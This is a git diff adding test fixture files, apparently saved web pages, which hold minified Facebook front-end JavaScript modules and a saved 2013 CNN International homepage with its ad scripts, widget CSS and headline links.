+__d("HighContrastMode",["AsyncSignal","Cookie","CSS","DOM","Env","Style"],function(a,b,c,d,e,f){var g=b('AsyncSignal'),h=b('Cookie'),i=b('CSS'),j=b('DOM'),k=b('Env'),l=b('Style'),m=null,n={init:function(o){if(m!==null&&o.currentState!=m)return;var p=j.create('div');j.appendContent(document.body,p);p.style.cssText='border: 1px solid;'+'border-color: red green;'+'position: fixed;'+'height: 5px;'+'top: -999px;'+'background-image: url('+o.spacerImage+');';var q=l.get(p,'background-image'),r= [...]
+__d("PopupWindow",["DOMDimensions","DOMQuery","copyProperties"],function(a,b,c,d,e,f){var g=b('DOMDimensions'),h=b('DOMQuery'),i=b('copyProperties'),j={_opts:{allowShrink:true,strategy:'vector',timeout:100,widthElement:null},init:function(k){i(j._opts,k);setInterval(j._resizeCheck,j._opts.timeout);},_resizeCheck:function(){var k=g.getViewportDimensions(),l=j._getDocumentSize(),m=l.height-k.height,n=l.width-k.width;if(n<0&&!j._opts.widthElement)n=0;n=n>1?n:0;if(!j._opts.allowShrink&&m<0)m [...]
+__d("ScriptPathState",["Arbiter"],function(a,b,c,d,e,f){var g=b('Arbiter'),h,i,j,k,l=100,m={setIsUIPageletRequest:function(n){j=n;},setUserURISampleRate:function(n){k=n;},reset:function(){h=null;i=false;j=false;},_shouldUpdateScriptPath:function(){return (i&&!j);},_shouldSendURI:function(){return (Math.random()<k);},getParams:function(){var n={};if(m._shouldUpdateScriptPath()){if(m._shouldSendURI()&&h!==null)n.user_uri=h.substring(0,l);}else n.no_script_path=1;return n;}};g.subscribe("pr [...]
+__d("getContextualParent",["ge"],function(a,b,c,d,e,f){var g=b('ge');function h(i){var j;if(i.getAttribute&&(j=i.getAttribute('data-ownerid'))){i=g(j);}else i=i.parentNode;return i;}e.exports=h;});
+__d("collectDataAttributes",["getContextualParent"],function(a,b,c,d,e,f){var g=b('getContextualParent');function h(i,j){var k={},l={},m=j.length,n;for(n=0;n<m;++n){k[j[n]]={};l[j[n]]='data-'+j[n];}var o={tn:'',"tn-debug":','};while(i){if(i.getAttribute)for(n=0;n<m;++n){var p=i.getAttribute(l[j[n]]);if(p){var q=JSON.parse(p);for(var r in q)if(o[r]!==undefined){if(k[j[n]][r]===undefined)k[j[n]][r]=[];k[j[n]][r].push(q[r]);}else if(k[j[n]][r]===undefined)k[j[n]][r]=q[r];}}i=g(i);}for(var s [...]
+__d("Keys",[],function(a,b,c,d,e,f){e.exports={BACKSPACE:8,TAB:9,RETURN:13,ESC:27,SPACE:32,PAGE_UP:33,PAGE_DOWN:34,END:35,HOME:36,LEFT:37,UP:38,RIGHT:39,DOWN:40,DELETE:46,COMMA:188};});
+__d("areObjectsEqual",[],function(a,b,c,d,e,f){function g(h,i){return JSON.stringify(h)==JSON.stringify(i);}e.exports=g;});
+__d("flattenArray",[],function(a,b,c,d,e,f){function g(h){var i=[];while(h.length){var j=h.pop();if(Array.isArray(j)){Array.prototype.push.apply(h,j);}else i.push(j);}return i.reverse();}e.exports=g;});
+__d("htmlSpecialChars",[],function(a,b,c,d,e,f){var g=/&/g,h=/</g,i=/>/g,j=/"/g,k=/'/g;function l(m){if(typeof m=='undefined'||m===null||!m.toString)return '';if(m===false){return '0';}else if(m===true)return '1';return m.toString().replace(g,'&').replace(j,'"').replace(k,''').replace(h,'<').replace(i,'>');}e.exports=l;});
+__d("htmlize",["htmlSpecialChars"],function(a,b,c,d,e,f){var g=b('htmlSpecialChars');function h(i){return g(i).replace(/\r\n|[\r\n]/g,'<br/>');}e.exports=h;});
+__d("debounce",[],function(a,b,c,d,e,f){function g(h,i,j,k){if(i==null)i=100;var l;function m(n,o,p,q,r){m.reset();l=setTimeout(function(){h.call(j,n,o,p,q,r);},i,!k);}m.reset=function(){clearTimeout(l);};return m;}e.exports=g;});
+__d("debounceAcrossTransitions",["debounce"],function(a,b,c,d,e,f){var g=b('debounce');function h(i,j,k){return g(i,j,k,true);}e.exports=h;});
+__d("PluginMessage",["DOMEventListener"],function(a,b,c,d,e,f){var g=b('DOMEventListener'),h={listen:function(){g.add(window,'message',function(event){if((/\.facebook\.com$/).test(event.origin)&&/^FB_POPUP:/.test(event.data)){var i=JSON.parse(event.data.substring(9));if('reload' in i)document.location.replace(i.reload);}});}};e.exports=h;});
+__d("legacy:popup-resizer",["PopupWindow"],function(a,b,c,d){a.PopupResizer=b('PopupWindow');},3);
+__d("legacy:ui-scrolling-pager-js",["ScrollingPager"],function(a,b,c,d){a.ScrollingPager=b('ScrollingPager');},3);
+function tz_calculate(a){var b=new Date(),c=b.getTimezoneOffset()/30,d=b.getTime()/1000,e=Math.round((a-d)/1800),f=Math.round(c+e)%48;if(f==0){return 0;}else if(f>24){f-=Math.ceil(f/48)*48;}else if(f<-28)f+=Math.ceil(f/-48)*48;return f*30;}function tz_autoset(a,b,c){if(!a||undefined==b)return;if(window.tz_autoset.calculated)return;window.tz_autoset.calculated=true;var d=-tz_calculate(a);if(c||d!=b){var e='/ajax/timezone/update.php';new AsyncRequest().setURI(e).setData({gmt_off:d,is_force [...]
+__d("Scrollable",["Event","Parent","UserAgent"],function(a,b,c,d,e,f){var g=b('Event'),h=b('Parent'),i=b('UserAgent'),j=function(event){var m=h.byClass(event.getTarget(),'scrollable');if(!m)return;if((typeof event.axis!=='undefined'&&event.axis===event.HORIZONTAL_AXIS)||(event.wheelDeltaX&&!event.wheelDeltaY)||(event.deltaX&&!event.deltaY))return;var n=event.wheelDelta||-event.deltaY||-event.detail,o=m.scrollHeight,p=m.clientHeight;if(o>p){var q=m.scrollTop;if((n>0&&q===0)||(n<0&&q>=o-p) [...]
+__d("LayerRemoveOnHide",["function-extensions","DOM","copyProperties"],function(a,b,c,d,e,f){b('function-extensions');var g=b('DOM'),h=b('copyProperties');function i(j){this._layer=j;}h(i.prototype,{_subscription:null,enable:function(){this._subscription=this._layer.subscribe('hide',g.remove.curry(this._layer.getRoot()));},disable:function(){if(this._subscription){this._subscription.unsubscribe();this._subscription=null;}}});e.exports=i;});
\ No newline at end of file
diff --git a/src/test/resources/s/cnn.com b/src/test/resources/s/cnn.com
new file mode 100644
index 0000000..82f93fc
--- /dev/null
+++ b/src/test/resources/s/cnn.com
@@ -0,0 +1,1114 @@
+<!DOCTYPE html>
+<!-- saved from url=(0023)http://edition.cnn.com/ -->
+<html lang="en-US"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
+<title>CNN.com International - Breaking, World, Business, Sports, Entertainment and Video News</title>
+
+<meta http-equiv="last-modified" content="2013-01-25T05:44:49Z">
+<meta http-equiv="refresh" content="1800;url=http://edition.cnn.com/?refresh=1">
+<meta name="robots" content="index,follow">
+<meta name="googlebot" content="noarchive">
+<meta name="description" content="CNN.com International delivers breaking news from across the globe and information on the latest top stories, business, sports and ente_rtainment headlines. Follow the news as it happens through: special reports, videos, audio, photo galleries plus interactive maps and timelines.">
+<meta name="keywords" content="CNN, CNN news, CNN International, CNN International news, CNN Edition, Edition news, news, news online, breaking news, U.S. news, world news, global news, weather, business, CNN Money, sports, politics, law, technology, entertainment, education, travel, health, special reports, autos, developing story, news video, CNN Intl, podcasts, world blogs">
+<meta name="viewport" content="width=1024">
+<meta property="fb_app_id" content="80401312489">
+<meta property="fb:page_id" content="129343697106537">
+<meta name="application-name" content="CNN.com International">
+<meta name="msapplication-TileColor" content="#CA0002">
+<meta name="msapplication-TileImage" content="http://i.cdn.turner.com/cnn/2012/images/10/15/cnn_logo_144_144.png">
+<link href="./cf/cnn.com" rel="canonical">
+<link href="http://edition.cnn.com/tools/search/cnncom.xml" rel="search" title="CNN.com" type="application/opensearchdescription+xml">
+<link href="http://edition.cnn.com/tools/search/cnncomvideo.xml" rel="search" title="CNN.com Video" type="application/opensearchdescription+xml">
+<link href="http://rss.cnn.com/rss/edition.rss" rel="alternate" title="CNN - Top Stories [RSS]" type="application/rss+xml">
+<link href="http://www.cnn.com/" hreflang="en-us" rel="alternate" title="CNN" type="text/html">
+<link href="http://arabic.cnn.com/" hreflang="ar" rel="alternate" title="CNN Arabic" type="text/html">
+<link href="http://mexico.cnn.com/" hreflang="es" rel="alternate" title="CNN Mexico" type="text/html">
+<link href="./cf/intlhplib-min.css" rel="stylesheet" type="text/css"><script id="twitter-wjs" src="./cf/widgets.js"></script><script>
+var cnnIsHomePage=true,
+cnnCVPAdSection='edition.cnn.com_main_homepage',
+cnnIsSectionPage=true,
+cnnPageName="CNN International Home Page",
+cnnSectionName="CNN International Home Page",
+sectionName="homepage",
+cnn_edtnswtchver="edition",
+cnnCurrTime=new Date(1359096208000),
+cnnCurrHour=1,
+cnnCurrMin=43,
+cnnCurrDay='Fri';
+</script>
+<script src="./cf/intlhplib-min.js"></script>
+<script src="./cf/128727546.js"></script>
+<script>
+if(html5Check){
+Event.observe(window,'load',function(){
+$('cnn_ipadappbanner').update('<div class="cnn_ipadappbanner1"><a href="http://itunes.apple.com/us/app/cnn-app-for-ipad/id407824176?mt=8"><img src="http://i.cdn.turner.com/cnn/.element/img/3.0/main/CNN_iPad_banner_980x50_120910.png" width="980" height="50" border="0" alt=""/></a></div>');
+});
+}
+UAstring=navigator.userAgent;
+function cnnMakeHP(){
+if(UAstring.indexOf('MSIE')>-1){}else{CNN_handleOverlay('homepage_set_overlay');}
+}
+function linkTrackCall(l){
+var s=s_gi(s_account);
+s.linkTrackVars='none';
+s.linkTrackEvents='none';
+s.tl(this,'o',l);
+}
+if ($('cnn_GallerySliderContainer')){cnn_SectionGallery=new cnn_GallerySlider();}
+cnn_metadata.section=['cnn homepage','cnn:cnn homepage'];
+cnn_metadata.friendly_name='CNN Home Page';
+cnn_metadata.template_type='index';
+var selectedEdition=allCookies['SelectedEdition'],
+CNN_gallery_0_ad_0="/cnnintl_adspaces/3.0/homepage/main/bot1.120x90.ad",
+CNN_gallery_0_ad_1="/cnnintl_adspaces/3.0/homepage/main/bot2.120x90.ad",
+CNN_gallery_0_ad_2="/cnnintl_adspaces/3.0/homepage/main/bot3.120x90.ad",
+CNN_gallery_0_ad_3="/cnnintl_adspaces/3.0/homepage/main/bot4.120x90.ad",
+CNN_gallery_0_ad_4="/cnnintl_adspaces/3.0/homepage/main/bot5.120x90.ad",
+CNN_gallery_0_ad_5="/cnnintl_adspaces/3.0/homepage/main/bot6.120x90.ad",
+CNN_gallery_0_ad_6="/cnnintl_adspaces/3.0/homepage/main/bot7.120x90.ad",
+CNN_gallery_0_ad_7="/cnnintl_adspaces/3.0/homepage/main/bot8.120x90.ad",
+CNN_gallery_0_ad_8="/cnnintl_adspaces/3.0/homepage/main/bot9.120x90.ad",
+CNN_gallery_1_ad_0="/cnnintl_adspaces/3.0/homepage/main/bot4.120x90.ad",
+CNN_gallery_1_ad_1="/cnnintl_adspaces/3.0/homepage/main/bot5.120x90.ad",
+CNN_gallery_1_ad_2="/cnnintl_adspaces/3.0/homepage/main/bot6.120x90.ad",
+CNN_gallery_2_ad_0="/cnnintl_adspaces/3.0/homepage/main/bot7.120x90.ad",
+CNN_gallery_2_ad_1="/cnnintl_adspaces/3.0/homepage/main/bot8.120x90.ad",
+CNN_gallery_2_ad_2="/cnnintl_adspaces/3.0/homepage/main/bot9.120x90.ad";
+</script>
+<script type="text/javascript" src="./cf/all.js" async="true"></script><style type="text/css">.fb_hidden{position:absolute;top:-10000px;z-index:10001}
+.fb_invisible{display:none}
+.fb_reset{background:none;border-spacing:0;border:0;color:#000;cursor:auto;direction:ltr;font-family:"lucida grande", tahoma, verdana, arial, sans-serif;font-size:11px;font-style:normal;font-variant:normal;font-weight:normal;letter-spacing:normal;line-height:1;margin:0;overflow:visible;padding:0;text-align:left;text-decoration:none;text-indent:0;text-shadow:none;text-transform:none;visibility:visible;white-space:normal;word-spacing:normal}
+.fb_link img{border:none}
+.fb_dialog{background:rgba(82, 82, 82, .7);position:absolute;top:-10000px;z-index:10001}
+.fb_dialog_advanced{padding:10px;-moz-border-radius:8px;-webkit-border-radius:8px;border-radius:8px}
+.fb_dialog_content{background:#fff;color:#333}
+.fb_dialog_close_icon{background:url(http://static.ak.fbcdn.net/rsrc.php/v2/yA/x/IE9JII6Z1Ys.png) no-repeat scroll 0 0 transparent;_background-image:url(http://static.ak.fbcdn.net/rsrc.php/v2/y6/x/s816eWC-2sl.gif);cursor:pointer;display:block;height:15px;position:absolute;right:18px;top:17px;width:15px;top:8px\9;right:7px\9}
+.fb_dialog_mobile .fb_dialog_close_icon{top:5px;left:5px;right:auto}
+.fb_dialog_padding{background-color:transparent;position:absolute;width:1px;z-index:-1}
+.fb_dialog_close_icon:hover{background:url(http://static.ak.fbcdn.net/rsrc.php/v2/yA/x/IE9JII6Z1Ys.png) no-repeat scroll 0 -15px transparent;_background-image:url(http://static.ak.fbcdn.net/rsrc.php/v2/y6/x/s816eWC-2sl.gif)}
+.fb_dialog_close_icon:active{background:url(http://static.ak.fbcdn.net/rsrc.php/v2/yA/x/IE9JII6Z1Ys.png) no-repeat scroll 0 -30px transparent;_background-image:url(http://static.ak.fbcdn.net/rsrc.php/v2/y6/x/s816eWC-2sl.gif)}
+.fb_dialog_loader{background-color:#f2f2f2;border:1px solid #606060;font-size:24px;padding:20px}
+.fb_dialog_top_left,
+.fb_dialog_top_right,
+.fb_dialog_bottom_left,
+.fb_dialog_bottom_right{height:10px;width:10px;overflow:hidden;position:absolute}
+/* @noflip */
+.fb_dialog_top_left{background:url(http://static.ak.fbcdn.net/rsrc.php/v2/yR/x/8YeTNIlTZjm.png) no-repeat 0 0;left:-10px;top:-10px}
+/* @noflip */
+.fb_dialog_top_right{background:url(http://static.ak.fbcdn.net/rsrc.php/v2/yR/x/8YeTNIlTZjm.png) no-repeat 0 -10px;right:-10px;top:-10px}
+/* @noflip */
+.fb_dialog_bottom_left{background:url(http://static.ak.fbcdn.net/rsrc.php/v2/yR/x/8YeTNIlTZjm.png) no-repeat 0 -20px;bottom:-10px;left:-10px}
+/* @noflip */
+.fb_dialog_bottom_right{background:url(http://static.ak.fbcdn.net/rsrc.php/v2/yR/x/8YeTNIlTZjm.png) no-repeat 0 -30px;right:-10px;bottom:-10px}
+.fb_dialog_vert_left,
+.fb_dialog_vert_right,
+.fb_dialog_horiz_top,
+.fb_dialog_horiz_bottom{position:absolute;background:#525252;filter:alpha(opacity=70);opacity:.7}
+.fb_dialog_vert_left,
+.fb_dialog_vert_right{width:10px;height:100%}
+.fb_dialog_vert_left{margin-left:-10px}
+.fb_dialog_vert_right{right:0;margin-right:-10px}
+.fb_dialog_horiz_top,
+.fb_dialog_horiz_bottom{width:100%;height:10px}
+.fb_dialog_horiz_top{margin-top:-10px}
+.fb_dialog_horiz_bottom{bottom:0;margin-bottom:-10px}
+.fb_dialog_iframe{line-height:0}
+.fb_dialog_content .dialog_title{background:#6d84b4;border:1px solid #3b5998;color:#fff;font-size:14px;font-weight:bold;margin:0}
+.fb_dialog_content .dialog_title > span{background:url(http://static.ak.fbcdn.net/rsrc.php/v2/yD/x/Cou7n-nqK52.gif)
+no-repeat 5px 50%;float:left;padding:5px 0 7px 26px}
+body.fb_hidden{-webkit-transform:none;height:100%;margin:0;left:-10000px;overflow:visible;position:absolute;top:-10000px;width:100%
+}
+.fb_dialog.fb_dialog_mobile.loading{background:url(http://static.ak.fbcdn.net/rsrc.php/v2/yc/x/3rhSv5V8j3o.gif)
+white no-repeat 50% 50%;min-height:100%;min-width:100%;overflow:hidden;position:absolute;top:0;z-index:10001}
+.fb_dialog.fb_dialog_mobile.loading.centered{max-height:590px;min-height:590px;max-width:500px;min-width:500px}
+#fb-root #fb_dialog_ipad_overlay{background:rgba(0, 0, 0, .45);position:absolute;left:0;top:0;width:100%;min-height:100%;z-index:10000}
+#fb-root #fb_dialog_ipad_overlay.hidden{display:none}
+.fb_dialog.fb_dialog_mobile.loading iframe{visibility:hidden}
+.fb_dialog_content .dialog_header{-webkit-box-shadow:white 0 1px 1px -1px inset;background:-webkit-gradient(linear, 0 0, 0 100%, from(#738ABA), to(#2C4987));border-bottom:1px solid;border-color:#1d4088;color:#fff;font:14px Helvetica, sans-serif;font-weight:bold;text-overflow:ellipsis;text-shadow:rgba(0, 30, 84, .296875) 0 -1px 0;vertical-align:middle;white-space:nowrap}
+.fb_dialog_content .dialog_header table{-webkit-font-smoothing:subpixel-antialiased;height:43px;width:100%
+}
+.fb_dialog_content .dialog_header td.header_left{font-size:12px;padding-left:5px;vertical-align:middle;width:60px
+}
+.fb_dialog_content .dialog_header td.header_right{font-size:12px;padding-right:5px;vertical-align:middle;width:60px
+}
+.fb_dialog_content .touchable_button{background:-webkit-gradient(linear, 0 0, 0 100%, from(#4966A6),
+color-stop(0.5, #355492), to(#2A4887));border:1px solid #29447e;-webkit-background-clip:padding-box;-webkit-border-radius:3px;-webkit-box-shadow:rgba(0, 0, 0, .117188) 0 1px 1px inset,
+rgba(255, 255, 255, .167969) 0 1px 0;display:inline-block;margin-top:3px;max-width:85px;line-height:18px;padding:4px 12px;position:relative}
+.fb_dialog_content .dialog_header .touchable_button input{border:none;background:none;color:#fff;font:12px Helvetica, sans-serif;font-weight:bold;margin:2px -12px;padding:2px 6px 3px 6px;text-shadow:rgba(0, 30, 84, .296875) 0 -1px 0}
+.fb_dialog_content .dialog_header .header_center{color:#fff;font-size:16px;font-weight:bold;line-height:18px;text-align:center;vertical-align:middle}
+.fb_dialog_content .dialog_content{background:url(http://static.ak.fbcdn.net/rsrc.php/v2/yJ/x/jKEcVPZFk-2.gif) no-repeat 50% 50%;border:1px solid #555;border-bottom:0;border-top:0;height:150px}
+.fb_dialog_content .dialog_footer{background:#f2f2f2;border:1px solid #555;border-top-color:#ccc;height:40px}
+#fb_dialog_loader_close{float:left}
+.fb_dialog.fb_dialog_mobile .fb_dialog_close_button{text-shadow:rgba(0, 30, 84, .296875) 0 -1px 0}
+.fb_dialog.fb_dialog_mobile .fb_dialog_close_icon{visibility:hidden}
+.fb_iframe_widget{position:relative;display:-moz-inline-block;display:inline-block}
+.fb_iframe_widget iframe{position:absolute}
+.fb_iframe_widget_lift{z-index:1}
+.fb_iframe_widget span{position:relative;display:inline-block;vertical-align:text-bottom;text-align:justify}
+.fb_hide_iframes iframe{position:relative;left:-10000px}
+.fb_iframe_widget_loader{position:relative;display:inline-block}
+.fb_iframe_widget_fluid{display:inline}
+.fb_iframe_widget_fluid span{width:100%}
+.fb_iframe_widget_loader iframe{min-height:32px;z-index:2;zoom:1}
+.fb_iframe_widget_loader .FB_Loader{background:url(http://static.ak.fbcdn.net/rsrc.php/v2/yJ/x/jKEcVPZFk-2.gif) no-repeat;height:32px;width:32px;margin-left:-16px;position:absolute;left:50%;z-index:4}
+.fb_button_simple,
+.fb_button_simple_rtl{background-image:url(http://static.ak.fbcdn.net/rsrc.php/v2/yH/x/eIpbnVKI9lR.png);background-repeat:no-repeat;cursor:pointer;outline:none;text-decoration:none}
+.fb_button_simple_rtl{background-position:right 0}
+.fb_button_simple .fb_button_text{margin:0 0 0 20px;padding-bottom:1px}
+.fb_button_simple_rtl .fb_button_text{margin:0 10px 0 0}
+a.fb_button_simple:hover .fb_button_text,
+a.fb_button_simple_rtl:hover .fb_button_text,
+.fb_button_simple:hover .fb_button_text,
+.fb_button_simple_rtl:hover .fb_button_text{text-decoration:underline}
+.fb_button,
+.fb_button_rtl{background:#29447e url(http://static.ak.fbcdn.net/rsrc.php/v2/yl/x/FGFbc80dUKj.png);background-repeat:no-repeat;cursor:pointer;display:inline-block;padding:0 0 0 1px;text-decoration:none;outline:none}
+.fb_button .fb_button_text,
+.fb_button_rtl .fb_button_text{background:#5f78ab url(http://static.ak.fbcdn.net/rsrc.php/v2/yl/x/FGFbc80dUKj.png);border-top:solid 1px #879ac0;border-bottom:solid 1px #1a356e;color:#fff;display:block;font-family:"lucida grande",tahoma,verdana,arial,sans-serif;font-weight:bold;padding:2px 6px 3px 6px;margin:1px 1px 0 21px;text-shadow:none}
+a.fb_button,
+a.fb_button_rtl,
+.fb_button,
+.fb_button_rtl{text-decoration:none}
+a.fb_button:active .fb_button_text,
+a.fb_button_rtl:active .fb_button_text,
+.fb_button:active .fb_button_text,
+.fb_button_rtl:active .fb_button_text{border-bottom:solid 1px #29447e;border-top:solid 1px #45619d;background:#4f6aa3;text-shadow:none}
+.fb_button_xlarge,
+.fb_button_xlarge_rtl{background-position:left -60px;font-size:24px;line-height:30px}
+.fb_button_xlarge .fb_button_text{padding:3px 8px 3px 12px;margin-left:38px}
+a.fb_button_xlarge:active{background-position:left -99px}
+.fb_button_xlarge_rtl{background-position:right -268px}
+.fb_button_xlarge_rtl .fb_button_text{padding:3px 8px 3px 12px;margin-right:39px}
+a.fb_button_xlarge_rtl:active{background-position:right -307px}
+.fb_button_large,
+.fb_button_large_rtl{background-position:left -138px;font-size:13px;line-height:16px}
+.fb_button_large .fb_button_text{margin-left:24px;padding:2px 6px 4px 6px}
+a.fb_button_large:active{background-position:left -163px}
+.fb_button_large_rtl{background-position:right -346px}
+.fb_button_large_rtl .fb_button_text{margin-right:25px}
+a.fb_button_large_rtl:active{background-position:right -371px}
+.fb_button_medium,
+.fb_button_medium_rtl{background-position:left -188px;font-size:11px;line-height:14px}
+a.fb_button_medium:active{background-position:left -210px}
+.fb_button_medium_rtl{background-position:right -396px}
+.fb_button_text_rtl,
+.fb_button_medium_rtl .fb_button_text{padding:2px 6px 3px 6px;margin-right:22px}
+a.fb_button_medium_rtl:active{background-position:right -418px}
+.fb_button_small,
+.fb_button_small_rtl{background-position:left -232px;font-size:10px;line-height:10px}
+.fb_button_small .fb_button_text{padding:2px 6px 3px;margin-left:17px}
+a.fb_button_small:active,
+.fb_button_small:active{background-position:left -250px}
+.fb_button_small_rtl{background-position:right -440px}
+.fb_button_small_rtl .fb_button_text{padding:2px 6px;margin-right:18px}
+a.fb_button_small_rtl:active{background-position:right -458px}
+.fb_share_count_wrapper{position:relative;float:left}
+.fb_share_count{background:#b0b9ec none repeat scroll 0 0;color:#333;font-family:"lucida grande", tahoma, verdana, arial, sans-serif;text-align:center}
+.fb_share_count_inner{background:#e8ebf2;display:block}
+.fb_share_count_right{margin-left:-1px;display:inline-block}
+.fb_share_count_right .fb_share_count_inner{border-top:solid 1px #e8ebf2;border-bottom:solid 1px #b0b9ec;margin:1px 1px 0 1px;font-size:10px;line-height:10px;padding:2px 6px 3px;font-weight:bold}
+.fb_share_count_top{display:block;letter-spacing:-1px;line-height:34px;margin-bottom:7px;font-size:22px;border:solid 1px #b0b9ec}
+.fb_share_count_nub_top{border:none;display:block;position:absolute;left:7px;top:35px;margin:0;padding:0;width:6px;height:7px;background-repeat:no-repeat;background-image:url(http://static.ak.fbcdn.net/rsrc.php/v2/yP/x/bSOHtKbCGYI.png)}
+.fb_share_count_nub_right{border:none;display:inline-block;padding:0;width:5px;height:10px;background-repeat:no-repeat;background-image:url(http://static.ak.fbcdn.net/rsrc.php/v2/yL/x/i_oIVTKMYsL.png);vertical-align:top;background-position:right 5px;z-index:10;left:2px;margin:0 2px 0 0;position:relative}
+.fb_share_no_count{display:none}
+.fb_share_size_Small .fb_share_count_right .fb_share_count_inner{font-size:10px}
+.fb_share_size_Medium .fb_share_count_right .fb_share_count_inner{font-size:11px;padding:2px 6px 3px;letter-spacing:-1px;line-height:14px}
+.fb_share_size_Large .fb_share_count_right .fb_share_count_inner{font-size:13px;line-height:16px;padding:2px 6px 4px;font-weight:normal;letter-spacing:-1px}
+.fb_share_count_hidden .fb_share_count_nub_top,
+.fb_share_count_hidden .fb_share_count_top,
+.fb_share_count_hidden .fb_share_count_nub_right,
+.fb_share_count_hidden .fb_share_count_right{visibility:hidden}
+.fb_connect_bar_container div,
+.fb_connect_bar_container span,
+.fb_connect_bar_container a,
+.fb_connect_bar_container img,
+.fb_connect_bar_container strong{background:none;border-spacing:0;border:0;direction:ltr;font-style:normal;font-variant:normal;letter-spacing:normal;line-height:1;margin:0;overflow:visible;padding:0;text-align:left;text-decoration:none;text-indent:0;text-shadow:none;text-transform:none;visibility:visible;white-space:normal;word-spacing:normal;vertical-align:baseline}
+.fb_connect_bar_container{position:fixed;left:0 !important;right:0 !important;height:42px !important;padding:0 25px !important;margin:0 !important;vertical-align:middle !important;border-bottom:1px solid #333 !important;background:#3b5998 !important;z-index:99999999 !important;overflow:hidden !important}
+.fb_connect_bar_container_ie6{position:absolute;top:expression(document.compatMode=="CSS1Compat"? document.documentElement.scrollTop+"px":body.scrollTop+"px")}
+.fb_connect_bar{position:relative;margin:auto;height:100%;width:100%;padding:6px 0 0 0 !important;background:none;color:#fff !important;font-family:"lucida grande", tahoma, verdana, arial, sans-serif !important;font-size:13px !important;font-style:normal !important;font-variant:normal !important;font-weight:normal !important;letter-spacing:normal !important;line-height:1 !important;text-decoration:none !important;text-indent:0 !important;text-shadow:none !important;text-transform:none !i [...]
+.fb_connect_bar a:hover{color:#fff}
+.fb_connect_bar .fb_profile img{height:30px;width:30px;vertical-align:middle;margin:0 6px 5px 0}
+.fb_connect_bar div a,
+.fb_connect_bar span,
+.fb_connect_bar span a{color:#bac6da;font-size:11px;text-decoration:none}
+.fb_connect_bar .fb_buttons{float:right;margin-top:7px}
+.fb_edge_widget_with_comment{position:relative;*z-index:1000}
+.fb_edge_widget_with_comment span.fb_edge_comment_widget{position:absolute}
+.fb_edge_widget_with_comment span.fb_send_button_form_widget{z-index:1}
+.fb_edge_widget_with_comment span.fb_send_button_form_widget .FB_Loader{left:0;top:1px;margin-top:6px;margin-left:0;background-position:50% 50%;background-color:#fff;height:150px;width:394px;border:1px #666 solid;border-bottom:2px solid #283e6c;z-index:1}
+.fb_edge_widget_with_comment span.fb_send_button_form_widget.dark .FB_Loader{background-color:#000;border-bottom:2px solid #ccc}
+.fb_edge_widget_with_comment span.fb_send_button_form_widget.siderender
+.FB_Loader{margin-top:0}
+.fbpluginrecommendationsbarleft,
+.fbpluginrecommendationsbarright{position:fixed !important;bottom:0;z-index:999}
+/* @noflip */
+.fbpluginrecommendationsbarleft{left:10px}
+/* @noflip */
+.fbpluginrecommendationsbarright{right:10px}</style></head>
+<body id="cnnMainPage" data-twttr-rendered="true"><div id="cnn_mOvrlycntr"></div><div id="fb-root" class=" fb_reset"><div style="position: absolute; top: -10000px; height: 0px; width: 0px;"><div></div></div><div style="position: absolute; top: -10000px; height: 0px; width: 0px;"><div><iframe name="fb_xdm_frame_http" frame-border="0" allowtransparency="true" scrolling="no" aria-hidden="true" title="Facebook Cross Domain Communication Frame" tab-index="-1" style="border: none;" src="./cf/x [...]
+<div id="cnn_ipadappbanner"></div>
+<div id="cnn_ipadappbanner"></div> <script type="text/javascript">if(html5Check){Event.observe(window,'load',function(){$('cnn_ipadappbanner').update('<div class="cnn_ipadappbanner1"><a href="http://itunes.apple.com/us/app/cnn-app-for-ipad/id407824176?mt=8"><img src="http://i.cdn.turner.com/cnn/.e/img/3.0/main/CNNI_iPad_banner_980x50_120910.png" width="980" height="50" alt="" border="0"/></a></div>');});}</script> <div id="cnn_hdr"> <div id="cnn_hdr-prompt" style="overflow: visible;"><di [...]
+<div class="cnn_adcntrt728x90" style="padding:0px 0px;" align="center">
+<div class="cnn_adspc728x90">
+<div>
+<!-- ADSPACE: homepage/main/top.970x66 --><div id="ad-959289" align="center" style="padding: 0; margin: 0; border: 0;"><script>
+cnnad_createAd("959289","http://ads.cnn.com/html.ng/site=cnn_international&cnn_intl_pagetype=main&cnn_intl_position=970x66_top&cnn_intl_rollup=homepage&page.allowcompete=no¶ms.styles=fs","66","970");</script><iframe id="959289" name="959289" width="1" height="1" style="position: relative; top: 0px; left: 0px;" marginwidth="0" marginheight="0" frameborder="0" scrolling="no" src="./cf/site=cnn_international&cnn_intl_pagetype=main&cnn_intl_position=970x66_top&cnn_intl_rollup=homepage&pa [...]
+
+</div>
+</div>
+</div>
+<div align="center">
+<div id="cnn_maincntnr">
+<!-- this is where the breaking news CSI code will go -->
+<div id="cnnBannerContainer"></div>
+<script type="text/javascript">
+CSIManager.getInstance().call('/.element/ssi/intl/breaking_news/3.0/banner.html','','cnnBannerContainer',cnnRenderInternationalBanner);
+</script><div id="csiIframeObjscsi1"><iframe src="./cf/banner.htm" name="csiDataIframecsi1" id="csiDataIframecsi1" width="10" height="10" style="visibility:hidden;position:absolute;top:0px;left:-100px;"></iframe></div>
+<div id="cnnSetEditionContainer"></div>
+<div id="cnnMakeHPContainer"></div>
+
+<div class="cnn_contentarea">
+<div id="cnn_toptstmparea">
+<div>
+<div style="float:left;">
+<span>January 25, 2013 -- Updated 0543 GMT (1343 HKT)
+Edited by <strong>Madison Park in Hong Kong</strong>
+</span>
+</div>
+<div style="float:right;"><div class="cnnOpin"><a href="http://edition.cnn.com/#" id="makeHPLink" onclick="cnnMakeHP('homepage_set_overlay');" class="realmLink">Make CNN Your Homepage</a></div></div>
+</div>
+</div>
+</div>
+<div class="cnn_pad2top cnn_shdspc"></div>
+<div class="cnn_hpinthenews">
+<div class="cnn_hpinthenewscntr">
+<ul>
+<li class="cnn_hpinthenewshdr"><span>Editor's choice</span></li>
+<li class="cnn_hpinthenewsl1"><a href="http://edition.cnn.com/2013/01/24/sport/football/eden-hazard-ball-boy-football/index.html?hpt=hp_inthenews"><span>Footballer kicks ball boy</span></a></li>
+<li class="cnn_hpinthenewsl2"><a href="http://edition.cnn.com/SPECIALS/davos?hpt=hp_inthenews"><span>Davos special</span></a></li>
+<li class="cnn_hpinthenewsl3"><a href="http://edition.cnn.com/2013/01/23/world/asia/north-korea-nuclear-test/index.html?hpt=hp_inthenews"><span>N. Korea nuclear tests</span></a></li>
+<li class="cnn_hpinthenewsl4"><a href="http://edition.cnn.com/2013/01/23/us/women-combat-troop-reaction/index.html?hpt=hp_inthenews"><span>Women in combat</span></a></li>
